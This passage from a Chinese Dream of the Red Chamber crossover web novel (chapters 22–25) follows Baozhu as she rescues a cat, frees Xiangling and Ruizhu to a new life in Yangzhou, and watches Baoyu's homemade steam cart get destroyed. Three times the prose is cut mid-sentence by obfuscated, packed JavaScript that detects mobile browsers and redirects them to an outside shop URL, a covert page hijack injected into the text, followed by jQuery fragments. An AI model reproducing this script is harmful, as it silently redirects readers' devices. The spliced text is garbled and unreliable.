一只躲在花丛中打盹的三花猫被花枝的摇晃惊醒,它惊讶地昂头,正好看见那几支最漂亮的蔷薇突然消失不见,金黄色的猫猫眼都瞪的溜圆。 “喵喵~” 我那么多那么漂亮的花花儿呢,怎么突然不见了?! 三花猫猫在花丛下走来走去,不时摸摸这里,嗅嗅那里,试图研究出花儿消失的不解之谜。 宝珠心中一动,把这只傻乎乎的大猫也抓了起来。 “喵喵喵~~” 三花的声音顿时变得惨烈起来。 本喵怎么飞起来了,救命啊,快来救喵~~~ 宝珠顺手拿起一个装饼干的塑料盒,把饼干屑抖落出来,将蔷薇花枝和三花猫猫都放到盒子里。但如之前那样,这些宝珠自行摄取的东西依然保持了迷你尺寸。 “喵喵~~”猫猫刚刚脚踏实地松了口气,抬头又看到了巨人状的宝珠,顿时在盒子里哆哆嗦嗦地缩成一团。它如今只有半个指甲盖那么大,也亏得宝珠眼力好,能把它的表情看得一清二楚。 这还是宝珠第一次从箱子里拿出活物。眼前的猫猫除了尺寸超级迷你、以及受了惊吓以外,其余似乎都很正常。 宝珠观察了它一会,但猫猫还是怕得厉害,宝珠在厨房里找了一圈也没有什么可喂它的,就把它放回了箱子。 “宝珠姐姐,哪来的小猫?”宝玉好奇地从窗边探出头。猫猫回到地面,也顾不得周围都是陌生地界,四只脚如点火的发动机一般跑得飞快,转眼就消失在宝玉的面前,完全没有刚才被宝珠抓住时的迟钝。 宝珠笑而不答,将蔷薇花枝分了一半递给宝玉。“送你的。” 偌大的花枝压了宝玉满怀。“好漂亮的蔷薇花。”他赞叹了一声。他现在人还在铁槛寺,好在身边的人都惊魂未定,也没人注意这突然出现的蔷薇。 宝珠又切回扬州,把剩下的几支蔷薇都给了黛玉。黛玉在花朵的簇拥中露出开心的小脸,“谢谢宝珠姐姐。” 我家黛玉真是超可爱。 二十三岁的宝珠看着十一岁的黛玉,心中却涌起了老阿姨般的慈爱。过了一会,宝珠突然开口。“黛玉,我有两件事想拜托你帮忙,可以吗?” “可以,可以。”黛玉漂亮的眼睛顿时闪亮起来,“宝珠姐姐快讲,别说两件了,十二件、二十件都可以。” “是这样的……”宝珠和黛玉交代完了,又补充道,“这两件事,其实是想借你的口去请你父亲帮忙。你明白吗?” 黛玉重重点头,“父亲肯定也是愿意的,宝珠姐姐放心就是了。” “那我就等着黛玉的好消息了。”宝珠轻轻地摸摸黛玉的小脑袋。 离开林府,宝珠又回铁槛寺把那只正被道士驱赶的小猫带了回来,依旧放回那座花草丛生的废园中。 “喵?喵喵?” 刚才到底发生了什么? 眨眼间又换了一个环境的三花只诧异了一秒,就发现自己已经回家了。 刚才喵是做了一个梦吗? 三花想着,继续在蔷薇花下打起盹来。 ------- 宝玉带着蔷薇花回到了家中,袭人忙迎了上来。“二爷怎么还带了花回来,这么漂亮的蔷薇花,也不用水养着,如今都有些蔫了,真是可惜。” 宝玉嘻嘻一笑,把蔷薇花交给袭人,让她好好照看,便换了衣裳去见史老太君。过了一会,王熙凤也过来见老太君。她抹了胭脂,脸上倒不是像之前那么苍白,但声音还是少了几分中气。 老太君听出了她声音中的疲惫,“快回去歇着吧。为了蓉儿媳妇的事你也忙了小两月了,正该好好休息休息,调养一下身子。” 王熙凤还要逞强,鸳鸯和宝玉都来劝她,她这才笑着走了。 史老太君叹道,“凤丫头哪里都好,就是太要强了些。” 宝玉想起昨天宝珠告诉他的事,低头摆弄自己衣服上的穗子没说话。史老太君也没注意,又问起他昨天路遇谒北静王的事,听得宝玉对水溶大加称赞,史老太君也连连点头,和宝玉说了许多两家祖上交往的旧事。 “郡王既然开了口,你上门也不算唐突,过几日便去王府拜见吧。” 宝玉对水溶印象极好,自然乐于与对方结交。 水溶虽然是少年王爷,但并无这个年龄常有的轻浮高傲,反而对人宽仁和温厚,和宝玉这样的纨绔弟子也颇投契。两人尤其爱说些机巧之事,宝玉又给水溶推荐了严教士。水溶也曾在宫中听过严教士的名字,便让人去请了来。 严教士忙带了完成了大半的机关小人过来。这小人也做了半年了,虽然细节还有待继续打磨,但大体结构都已经完成,弹琴跳舞的动作也能看个大概。 “真是神乎其技!”水溶端详着自动做着动作的小人,“如果不是宝玉为老太君的寿诞提前定下,小王都想要夺爱了。” “王爷谬赞了,小臣愧不敢当。”严教士如今也有了官职,可以在郡王面前自称臣了。这半年间他时常入宫,场面上的话也比之前来得更加熟练。“这机关小人也有宝二爷的一份功劳在,若不是他给了小臣许多建议,小臣未必能做得如此精巧。” 宝玉连连摆手,他自觉不过是提过些异想天开的点子,哪里能分功劳。水溶不知内情,听了却着实对宝玉越发看重。“果然是虎父无犬子。”在他看来,贾政在工部任职,宝玉自然是因为在父亲身边耳濡目染才有如此见解。 水溶因此常派人来请宝玉,宝玉自然欣然前往。有了和北静王交接这块牌子,贾政也不再多管他读书、交友的事。但宝玉自己却开始下死力读书起来,只不过读的不是四书五经,而是宝珠给的科普册子罢了。 红楼世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138058|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界的时间从去岁秋冬之交到今年初夏,已经过了半年,宝珠为他们编撰的册子已经积累了七八本。前面两册时宝珠没有经验,内容大多零零碎碎地不成体系,想到什么写什么,但等到宝珠发掘了强有力的底本——国家九年制义务教育的教材,一切就变得循序渐进、有章可循了。 除了这些,宝珠也会根据情况给他们增加额外的小知识。比如上次的农家用具和农业小知识,还有专给黛玉提供的医学护理小贴士。 宝珠自己觉得这些都是适合小朋友的基础,但基础和基础却是不同的。现实世界的基础知识在红楼世界却未必也是,因此宝玉有些话能被接受,有些却引发水溶和严教士的质疑。但这些讨论和争执反而让他们的相处少了身份和功利的桎梏,渐渐简单起来。 宝玉此时早忘了和水溶同一日结识、也曾被他大加赞扬过的秦钟。自秦可卿丧事办完后,秦家与贾府的往来就渐渐少了。贾珍父子混不在意,尤氏又心有芥蒂,也无人再关心这老的老、小的小的一家人。好在王熙凤还记着当初和秦可卿的友善,想起最后一次见面时对方对幼弟学业的担忧,便寻了家名声不错的学馆将秦钟荐进去了。 秦钟性子软弱,有了严师督促、身边又都是专心学业的学子,他也慢慢收了心,认真读书起来。秦父自然老怀大慰,在亲友中说了许多凤姐的好话。渐渐的,凤姐竟也多了点怜贫惜弱的名声。尤氏听了也不做理会,贾珍忙又让人送了银子衣服到秦家去给秦钟助学,这才算是少了些风言风语。 但贾珍心头烦恼的却不止这个。秦可卿死时,她身边的丫鬟一个死了,一个待在铁槛寺中不肯回来。本来亲友中就有人犯嘀咕,但好歹大面上能过得去。今天早上却突然接到消息,好好待在寺里的宝珠突然没了,众人寻了大半天,实在瞒不住才来报信。 “什么叫人没了?活要见人,死要见尸。她一个十七八岁的女孩子,能跑到哪里去?”贾珍简直是要震怒了。 下人们都诺诺不敢言。宝珠虽说是拜秦可卿为义母,贾珍也说是要把她当小姐看,但府中谁会把个丫鬟出身的人当真。她又不是家生子,府里也个帮手的亲戚都没有。众人就更轻视她了,如今竟连她什么时候不见的都不知道,早上送饭时才发现房中空空。 贾珍又气又惊,气的是手下奴才无用,惊的是不知宝珠如何逃出,有无接应,接应的人又是出自何等目的。他自己做下许多荒唐事,却又要维系宁国府和一族之长的体面,未免就想得多了。 “再去找,如果找不到你们也不要回来了!” 而在隔壁的荣国府中,薛蟠也正不顾体面地咆哮着。 “人呢,好好的,香菱怎么就不见了!”好不容易母亲松口把香菱给了他,但还不等他得手,人就没了。薛蟠简直要气疯了。 千里之外的扬州,一座独门独户的小院里,两个美丽的少女你看看我,我看看你,脸上都带着惶恐不安的神色。 半响之后,两人忍不住异口同声。 “这里是哪里?你是谁?” 23.第 23 章 “你们别害怕。”一个年轻女子的声音突然响起。 “谁?”两个女孩子都被这突然的声音吓了一跳。但四处望去,院子中除了她们二人并无其他人。 “首先声明,我不是神仙。”陌生的女声再次响起,她们才发现声音来自院中一个磨盘大的黑色石头。 “啊!石头会说话!” “有妖怪!” 陌生声音之前的安抚显然没有效果,两个女孩子这时大惊失色,都齐齐向后退了几步。香菱年纪小,性格本就软弱,几乎是靠在身后的屋门上才没瘫软在地。 另一个看上去也差不多,但她低垂的眼中却闪着决绝。她小心地摸摸袖中,剪刀还在!磨出来的刃口依然锋利! “其次,我也不是什么妖怪。”那个声音听起来温柔又无奈。 “好吧,我说这些你们现在也不会信。但你们先听我慢慢说,好吗?” 两个女孩子都没说话。 “这里是扬州,”不理会两个女孩听到“扬州”时的惊呼,那声音又自顾自地说着,“你们现在已经离开了原来困着你们的地方,我希望你们能在这里开始新的生活。香菱,你是识字的,对吧?” 听到对方说出自己的名字,香菱眼圈一红,眼泪都要落下来。但她也不敢不应声,“识、识字。” “宝珠,你呢?” 丫鬟宝珠谨慎地摇摇头。“回大仙的话,奴婢不识得。” “有一个认字的也行。香菱,屋子里面有一份房契和户籍证明,你去拿出来。” “是、是。”香菱忙步履踉跄地进了身后的屋子,里面圆桌上果然醒目地放着几叠纸。她也顾不上细看,慌慌张张地拿了出来。 “大仙,我拿来了。”香菱垂着头,胆战心惊地向远处的黑色石头递出手中的东西。 女声温柔地道,“上面这张是这座小院的房契,下面这张是一份女户的户籍证明。香菱你看对不对?” 香菱翻了翻,傻傻地点头。“是的,大仙说的没错。” “这些都是给你们的。” “给我们的?”香菱和宝珠再次异口同声。 “是的,户主是一对姐妹,妹妹甄英莲,姐姐的名字还没写。” 甄英莲…… 英莲…… 听到这个名字,香菱的神思突然恍惚了一下,手中的纸张飘落在地上。这一刻,恐惧突然退散,许多遥远的、早已忘记的面孔隐隐约约浮现了出来,但当她想要认真看时,那些慈爱的、友善的面孔又都化作了泡影。 “英莲……”香菱喃喃地念道。 “香菱,你还记得?”那个陌生的女声先是惊讶,然后又叹息了一声,“甄英莲是你原本的名字。你本住在苏州,父母慈爱、家庭幸福。但三岁时却不幸被人拐走,从此与父母分离,流落到了薛家。” 父亲、母亲、苏州…… 香菱使劲回忆着,但那些美好的、朦胧的记忆太过永远,她最终只能茫然地摇摇头,“我都不记得了。” 一直警惕着的宝珠看着这一切,突然对香菱多了几分同情。虽然不知道对方的境况,但有这样的身世,性子又如此懵懂天真…… 宝珠看向地上散落的户籍房契,大着胆子向前一步,将那一页页写着字迹的纸都捡了起来。 她的动作自然引起了那个女声的注意,“宝珠,我不知道你的身世和真名,所以户籍上的名字还空着,你愿意用什么名字呢?” 宝珠此时脸上的恐惧已经消去了大半,她正对着说话的黑色大石,眼中有莫名的神采,“我的名字?” “是的,填上名字,你就是自由人了。你愿意恢复原来的姓名也可以,愿意继续叫宝珠也行,只是要记得给自己选一个姓氏。” 女孩低头想了一会,突然笑了起来。“我八九岁就被爹娘卖给了人牙子,他们没给我取名字,我也记不得他们姓什么。既然大仙是要我和英莲妹妹做姐妹,我就随妹妹姓甄吧。” “甄宝珠,这名字不错。” “不,”女孩摇摇头,“不是宝珠、是瑞珠。大仙,我以后就叫甄瑞珠,可以吗?” 正借着迷你蓝牙音箱和两个女孩子对话的欧宝珠愣了一下。她想起了那个只在传言中出现的已经逝去的人,那应该也是一个很年轻很可爱的女孩吧。 “当然可以。瑞珠。” 已经改名叫做甄瑞珠的女孩子很是灿烂地笑了。她看向香菱,“英莲妹妹,我们以后就是一家人了。” 香菱依然彷徨着。她知道了自己的身世,可这又有什么用呢?没有亲人在身边,又离开了薛府。虽然蟠大爷很可怕,但太太和姑娘对她是和气的。而且太太已经把她许给了蟠大爷,嬷嬷们都说她有福,有了正经名分,以后就算是有着落了。 她,该不该求大仙送她回去?可是大仙把她带到这里的时候没问过她,现在愿意听她的请求送她回去吗?回去的话,蟠大爷又真的会对她好吗? 她正犹豫着,但瑞珠这时握住了她的手,说自己和她是一家人,她也就似乎有了点留在这里的勇气。“我们是一家人……你是甄瑞珠,我是甄英莲?” 瑞珠重重点头。 宝珠也在她们看不到的地方点头,“英莲,你的母亲现在还在世,住在大如州。我已经托人去寻找了,你们母女应该还有重逢的一天。” “母亲……我有母亲、还有姐姐……我不是香菱,我是英莲,甄英莲。”少女的眼神终于清澈了。她看向瑞珠,柔柔地喊了一声,“瑞珠姐姐。” “嗯……嗯!”瑞珠异常大声地回答着。 瑞珠又转向宝珠,或者说,转向发出声音的蓝牙音箱。女孩拜倒在地,“大仙救我出铁槛寺,又送我和英莲自由之身、安身之所,瑞珠千恩万谢,无以为报。日后只要大仙一声吩咐,瑞珠万死不辞。” 英莲也跟着拜倒。 又是这一套。林如海这样,你们也这样。宝珠忍不住挠挠头,“你们好好活就行了。如果实在要报答什么的话,就好好养这只猫吧。” 说着,宝珠把废园中那只三花抓了过来,轻轻放在瑞珠面前。“这只猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150090|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫对你们才是有恩。”没有它前几天受到的惊吓,也就没有今天宝珠救人的举动。 猫……有恩……? 瑞珠看着这只突然出现的、看着就不太聪明的三花,四眼相对,一人一猫都有些困惑。 宝珠让英莲把瑞珠的名字添在户籍和房契上。“以后这里就是你们的家了,屋子里家具、衣服和米粮都是齐的,还有十两银子和一些铜钱,算是你们这一年的花用。至于未来,那便是你们自己的事了。” “大仙……”听到大仙安排的如此周到,瑞珠和英莲正要再次拜倒,就见到那黑色石头突然升起几寸,然后就消失不见了。 “真的是神仙啊。”两个女孩深深伏地。 宝珠收起只有半个手掌大的迷你音箱,把视线转回到林府。黛玉正在园子里等着她的到来。 “衙门那边存档的户籍和房契早已经让人准备好,现在只要添上新名字就妥当了。那一块的小吏也都得了嘱咐,不会让人欺负了她们姐妹。过两天还会有街坊大婶上门给她们介绍针织绣花的活。就算她们不擅长刺绣,也有人可以带着她们慢慢学。” 听黛玉把这一件件事都安排得清清楚楚,宝珠忍不住夸奖她。“我们黛玉越来越能干了。” 少女心安理得地接受了宝珠的夸奖,但又忍不住问,“宝珠姐姐既然这么关心这两姐妹,为什么不把她们带到林府里来。”她又补充了一句,“不管她们是什么身份,父亲和我肯定都以礼相待,绝不会怠慢。” “她们终究还是要靠自己过日子的。”宝珠摇摇头。“这件事以后你也不要再提,就当这是个秘密好吗?” 黛玉不太高兴地摸着自己的发辫,“父亲也是这样说。让我不要告诉别人,连宝玉、紫鹃都不要说。” “你父亲交代得对。”宝珠笑道,“好了,不说这个,你的行程定下来吗?什么时候回京?” 黛玉脸上有喜有忧,“琏二哥那边船只已经安排好了,过七天就走。可我舍不得父亲。” 宝珠对此也无法,林如海把黛玉送去京城,也是父母为子女做的长久打算。虽然宝珠很是不以为然,但这就是古代的婚姻市场观。没有女性长辈扶养教导的女子被视为没有得到合理的教养,是一个天然失分项。 林如海既然不愿意续娶,就只能把黛玉送去贾府由史老太君扶养。这决定也不能说就错了,不提后来的事,史老太君确实对黛玉极好,连自幼在她身边长大的三春都赶不上她对黛玉的偏爱。 黛玉既想念外祖母、宝玉和贾府的姐妹,也舍不得多年未见、且久病初愈的父亲,自然就一直纠结着。但宝玉那边得到黛玉要回来的消息,差点没数着日子等船来。 【绛洞花主】:妹妹最好能在八月老太太生日前回来,老太太定然欢喜。 “二爷,你不是说和芸哥儿约了吗,怎么还在这里?”袭人走了过来,有些奇怪地问。 “哎呀,我都忘了。”宝玉忙把手机收起,跳起来就往外跑。 “二爷~”袭人见他慌脚猫似地跑了,又好气又好笑。 24.第 24 章 二爷这半年越发古怪了。袭人有些忧虑。虽然他对自己依然亲近,却像是突然多了许多秘密避着她、不让她知道。 其实宝玉这么着急,除了不想让袭人看见手机以外,更重要的是他确实看重这次和贾芸的见面。来到外书房,贾芸和一个须发皆白的老工匠已经等了很久,见宝玉进门就笑着迎了上前。 “宝二叔,你可来了。” 宝玉也没什么不好意思的,一进门就直直盯着地上放着的半人高的金属机器。“这就是你们做的蒸汽车?” “二叔,幸不辱命。”贾芸嘻嘻一笑,眉眼间有显而易见的小得意。 宝玉绕着这个黑乎乎的大家伙转了几圈。前面是烧煤的车头,后面用链扣挂着两节敞篷的空车厢。相比他最初时给到贾芸的图纸,这个做出来的实物要简陋许多、尺寸更大、也显得为笨重。 但这样已经不容易了。 严教士如今正在做机关小人最后的收尾,又按水溶那边的要求设计新的小人,根本没有时间做其他。这个老工匠还是贾芸通过书坊那边的关系找来的。他虽然年纪大了,但识字、能看图,边摸索边做,竟然也慢慢地、一点点把最重要的蒸汽机做出来了。 “做得太好了。”宝玉对老工匠赞道,“老人家好手艺。” 老工匠笑得眉眼都舒展开了,好半天才在贾芸的示意下回话。“贵、贵人夸奖了。” “二叔,要不我们先试试?”贾芸又笑道,“总得试一下,才知道是不是只有一个空壳子。”他虽然这么说,宝玉知道他们肯定都试过好多次了,信心满满,要不然也不敢把东西送到他面前来。 要试肯定是要去外面的,这么大的蒸汽车,在屋子里可转不开。守在书房里的茗烟最是机灵,忙和几个杂役一起把机器搬到了外面。贾芸灌上水、点燃了机器肚子里的细煤,没多久那铁罐子里就开始噗噗地作响,然后下面的轮子缓缓动了起来。 “真地动了!”宝玉最是高兴。茗烟几人则站在一旁目瞪口呆,想不出是什么样的机关能带着这么沉重的大家伙跑起来。 这时反而是老工匠最为沉稳,他仔细地观察着蒸汽机的状况,时不时添点煤,调整调整方向,看似笨重的大铁块就这样在书房外的空地上慢慢地转起圈子来。 “有意思!有意思!”宝玉笑着拍手,又对茗烟道,“快拿些东西来放在后面,看它到底能拖多重的东西。” 茗烟一溜烟跑进书房,把里面的杂物拿了几件出来放在车厢里。 宝玉见那车毫无反应,还一直往前走,忙叫道,“再拿、再拿!” 茗烟又去拿了几次,最后把堆在角落的旧书都抱了几匣子出来统统压在车厢里,那车头前进的速度才缓慢下来。 宝玉看看那压得满满的车厢和速度放缓却依然坚持前进的车头,不由赞道,“书上说得果然没错,这蒸汽机厉害着呢。” 对了,他还要拍照给林妹妹看,让她羡慕羡慕。 宝玉正琢磨着,突然身边围着他的人都静默了,除了蒸汽车噗噗的声音,就只有一串沉重而急促的脚步由远而近。 宝玉慌忙抬头,果然是父亲面沉如水地走了过来。他忙行礼,“父亲。” 贾政本来是有事要出门,正好看见宝玉的书房外吵吵嚷嚷,就走了过来。“宝玉,你又在外面胡闹什么?”他看着转动的机器,后退一步,厉声说,“这又是哪里弄来的古怪东西?” 宝玉暗暗叫苦,但又不能不答,只好支吾着说道,“这是蒸汽车。儿子前几日在王爷府上听洋人那边有这东西,觉得好玩,就在外面寻了人来做。今日才刚做好……” 他旁边的贾芸听宝玉这么说,心里顿时松了口气。 果然贾政听宝玉搬出北静王,肚子里那一大堆“骄奢浪费”、“不务正业”的话便堵在嘴边、发作不出。他正憋着气,突然发现那叫争气车的玩意上面胡乱堆着几本《大学》、《中庸》,书页散乱,上面还落着煤烟的黑灰。 他手指微颤,指着宝玉就骂,“你这个作死的孽障,圣人的书也是这样对待的。” 宝玉这才注意到茗烟刚才抱了一堆书来压箱,可贾政已经劈头盖脸地一顿臭骂,他也只好受着。好在贾政旁边几位清客出来圆场,贾政这才勉强息了怒火,却又让人把蒸汽车劈烂扔出去。 宝玉本来是默默不做声的,但听到要劈烂机器,他便有些慌了,连连哀求起来。但贾政毫不理会,清客们也来劝他。“这等奇技淫巧之物,毁了有什么可惜,世兄还是用心在读书上才好。” 宝玉情急之下,也顾不得细想,竟然把宝珠书上的话一股脑儿说了出来,“这不是奇技淫巧,这是科学,是有大用的东西!” 贾政本已转身走了几步,听到宝玉这话又气又笑,转身回来问他。“这有何用?” 宝玉绞尽脑汁地回忆着书上的介绍,“它可以运货……可以运人……蒸汽机还可以抽取矿洞里的积水……” 贾政强忍住怒气,冷笑道,“运人运货……这些有什么用,不过是些不入流的俗务。你天天花心思在这些上面,难怪学业毫无进步!”他又厉声对旁边的人说,“还不去取了斧头来,把这东西劈烂砸烂!我以后再不要在府里看到这种东西!” 贾政说这话的时候,宝珠正好从扬州切到北京来。听完这段话,又看见贾政脸上那理所当然、轻蔑的表情,她忍不住皱起眉头。 什么叫做俗务不入流,合着只有傻呆呆地读书、成天双手一揣、啥事不干才是入流吗? 就这品行还在工部任职,估计也没做过什么实事,天天喝茶看报纸吧?好吧,大楚朝没有报纸,领会意思就行。 宝珠腹诽着,正想也给贾政这小老头儿一点教训,却听到宝玉在下面狂摆手。“不要、不要!” 其他人还以为宝玉在为机器求情,但宝珠却知道他是在为了自己父亲。犹豫了一下,宝珠还是把伸出的手收了回来。 “哐哐!”几个壮实的仆人拿着斧头铁锤,没有多久就把蒸汽车的表面敲出了坑坑洼洼的伤口,然后又撕开了无数裂口,变成了铁片残渣。 贾政走了,贾芸也带着垂头丧气的老工匠告辞了,宝玉呆呆坐在书房里。茗烟自知闯了祸,乖觉地到宝玉面前告罪。宝玉也没怪他,只是一直叹气。 “可惜了。” 宝珠也觉得可惜,虽然在她看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175479|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个蒸汽车更像是商场里面的玩具车,但这并不意味着这就真的只是一个玩具。 等到众人都离开了,宝珠问宝玉,“你怎么会想着做一个蒸汽车?” 宝玉抱着胳膊趴在书桌上,闷闷不乐,“严教士说他们那里只有在矿山里用的蒸汽机,没听说过什么蒸汽车。我就是试试看书上说的是不是真的。而且,而且我也想让姐姐妹妹们也见一见宝珠姐姐书里的东西。就算二姐姐和四妹妹没兴趣,三妹妹一定是喜欢的。” 宝珠微微一愣,是她想多了。宝玉没有真的意识到蒸汽机的出现代表着什么,少年的想法一直都很单纯。 但就在这一刻,宝珠却感受到眼前的世界在改变。 箱子的上方空白出,突然多了两行半透明的文字。 【本次开启:2027/7/30 21:00;可用时长: 0:12:46/3:00:00】 【下次开启:2027/7/31 21:00;可用时长: 3:00:00/3:00:00】 这是什么? 虽然第一时间没有反应过来,但数字的格式实在是太过明显,宝珠很快就想明白这些都代表着什么。 第一行代表着本次箱子世界出现的时间,和维持链接的时限。 第二行代表着下一次箱子世界出现的时间,和维持链接的时限。 但如果只是单纯的显示并没有意义啊。毕竟对她来说,箱子世界出现的时间一直是固定的晚上九点,维持时间也一直是3个小时。 宝珠试着触摸那两行文字。果然发现了不同。已经开启的本次时间是无法调整的,但她可以改变下一次开启的日期和时间。而且对于已经开启的,她可以提前结束,剩余的可用时长将会自动积累到下一次。但却不能把下一次的时长提前用在本次的可用时长上。 这次新升级出的功能感觉有点鸡肋啊。宝珠抿抿嘴,但还是保存了部分调整后的数字。 还有这一次的升级是什么引起的呢?这一次值得提的事情应该只有两件,是改变了两个女孩子的命运,还是改进版的蒸汽机提前出现? 如果是后者的话,蒸汽机已经变成了废渣… 这一切依然没有答案。 低头看去,宝玉已经在手机上和黛玉诉苦了。有林妹妹的劝解,宝玉的愁容慢慢消失,没多久又恢复了少年的活力。 【绛洞花主】:可惜当时没有拍下照片,要不然让你也看看我做出来的蒸汽车。 【皮皮林】:刚才不是还在夸老师傅吗,怎么现在又变成你做的了,真是不害臊。 【绛洞花主】:图纸是我一笔一笔画出来的,当然也算是我做的。[表情]骄傲 【皮皮林】:[表情]鄙视 【饱猪儿】:[表情]鄙视 +1 然后对话就停止在了两个人对宝玉的鄙视上,这一次的链接时间到了 【本次开启:2027/7/30 21:00;可用时长: 0:00:00/3:00:00】 【下次开启:2027/8/1 21:00;可用时长: 3:00:00/3:00:00】 25.第 25 章 第二天,宝珠约着和二姐在医院附近吃了一顿简单的午饭,然后又和休息中的闺蜜一起懒洋洋地在市中心的商场里溜达了大半天。 但逛了几个小时,两个人什么东西也没有买。宝珠是因为前几天收到了一盒金灿灿的首饰,最近购买欲大幅下降,而方青眉就只有一个字了。 穷。 “都上班一年了,工资还是只够付房租和生活费,一点多余的零花钱都没有。”方青眉穷得坦坦荡荡、毫不做作,只差没把手机里的账户余额秀给朋友看了。 于是作为小富婆的欧宝珠不但承担了晚饭花销,还请她可怜的闺蜜在饮料店里喝奶茶。 这时窗外的天色已经渐渐沉了下来,方青眉看着夜色,突然感慨,“宝珠,我们好久没有在晚上见面了吧?每次晚上约你出来都不肯,非要改成白天,而且到了七、八点钟你就急着回家。” 还真是的。宝珠也有些恍然。上一次和方青眉晚上见面,都要追溯到对方那次失恋的时候了。也是那一天,她买下了造景箱。 宝珠正回忆着,方青眉突然把头凑了过来,眼里放着光,“宝珠,你不会是在家里藏了人吧?他给你设门禁了,每天晚上必须准时回家?” 宝珠:…… 超大写的无语。 宝珠忍不住拿指头点点闺蜜的脸,“你才在家藏人!你动动脑筋好不好,我母胎单身二十多年,就算谈恋爱又怎么可能进展这么快!” 方青眉毫不迟疑地反驳,“怎么不可能,一见倾心、见色起意、金屋藏娇、强取豪夺……” “闭嘴吧。”见她越说越不像话,宝珠干净利落地把对方捏成了鸭子嘴,“少看点恋爱小说,做个正常人。” “呜呜呜~” 放开我。 方青眉奋力挣扎。 两个损友毫无形象地你掐我、我掐你地打闹了一会,又选了一场新出的恐怖电影继续闺蜜活动。接下来的时间,这两个女人就在空调十足的电影院里,瑟瑟发抖地挤在一起渡过了两个小时。 最终,深夜才尽兴回到家的欧宝珠觉得这次新升级出来的功能也不是那么没用了。 到了第二天晚上,宝珠照例和宝玉、黛玉联系上。两个孩子并没有察觉到异常,因为这天离上次相见只隔了短短的四天,完全处在他们认知的正常间隔里面。 宝珠先到了黛玉这边。 还有两三天就要离开扬州,黛玉的行李已经准备得差不多了。她的奶娘王嬷嬷因为年纪太大,被林如海留下来养老了,身边的丫鬟只剩了雪雁一个人。林如海本来是想给黛玉身边再添几个人的,但黛玉嫌人多了反而麻烦,他也就作罢,只派了老管家的儿子儿媳一家一起和黛玉上京。一来是护送黛玉,二来也是准备在京城里买一处房产,预备日后回京述职暂住。 宝珠看黛玉自己小心地把用剩的针管、药剂一一包裹好,放入要带上船的箱笼中,有些诧异。“你父亲的病不是都好了吗,这些已经没用了,你还要带着?” 黛玉理所当然地回答,“这些都是救命的东西,怎么能轻易丢弃。如果遇到和父亲一样的病人,岂不是就能救了他的性命。” “看来我们黛玉是想当医生啊。”宝珠笑道。 医生…… 黛玉的表情愣了一愣,突然有些失落。“宝珠姐姐……” 宝珠等了一会,没等到黛玉接下来的话,不免有些奇怪,“怎么了?” 黛玉想了一想,又摇摇头。“没什么。” 宝珠只以为黛玉有什么不好和她开口的事。小女孩嘛,也很正常,以后想说的时候再说好了。 宝玉在群里已经等了好一会,见没人理他,就开始咋咋呼呼地发文字。 【绛洞花主】:宝珠姐姐,林妹妹,你们理我一下嘛![表情]哀求豆豆眼 宝珠笑笑,和黛玉说,“你先和这个家伙聊聊,我去看看那两姐妹。” 黛玉于是在手机上敲下文字。 【皮皮林】:我才和宝珠姐姐讲两句话,你急什么![表情]敲打 见两个小家伙又开始了惯常的对话,宝珠也就把视线移到了那所小院中。太阳正好,瑞珠和英莲坐在窗前慢慢地绣花,旁边还有一个大嫂时不时地指点她们。宝珠在院子里的花丛下找到了那只被强行换了家的三花猫,虽然不是之前那株繁盛的蔷薇,但喵喵那惬意的样子显然也不是很介意。 两个女孩的衣着虽然都是崭新的,但布料都很寻常,也没有什么花纹。脸上没有脂粉,头上的钗环也都卸下了,只各自插了一支木簪。但这并没有减少两个女孩子的美丽,反而更显出她们另一种清新自然的可爱。 英莲的表情还是怯怯的,瑞珠却多了几分之前没有的从容和沉静。她绣花的手比英莲稳得多,和大嫂说话也是有来有回的,和英莲不问不吭声的模样完全不同。 那大嫂是个性子热情、爱说话的,但这并不妨碍她又快又好地做着手里的绣工。她对两姐妹都很有好感,不时夸奖她们手巧学得快,又夸瑞珠对妹妹照顾贴心,英莲乖巧懂事。 小院所在的巷子里,各处人家也都在忙活自己的事,虽然也有人在讨论着新搬来的这两姐妹,但也还算是普通的议论,顶多有人酸上两句里正和绣坊对她们的照顾,但也没有太多的恶意。 这三人又绣了一会,估计是快到午饭时间,那大嫂就拿了自己的针线回去了。瑞珠和英莲一直送到门口,瑞珠到厨房烧火做饭,英莲洗菜切菜,竟然也有模有样地弄出一顿放出来。 宝珠在天上看得津津有味,发现自己之前还真是有点小看她们了。没想到这两个看似柔弱的女孩子这么快就适应了新环境。 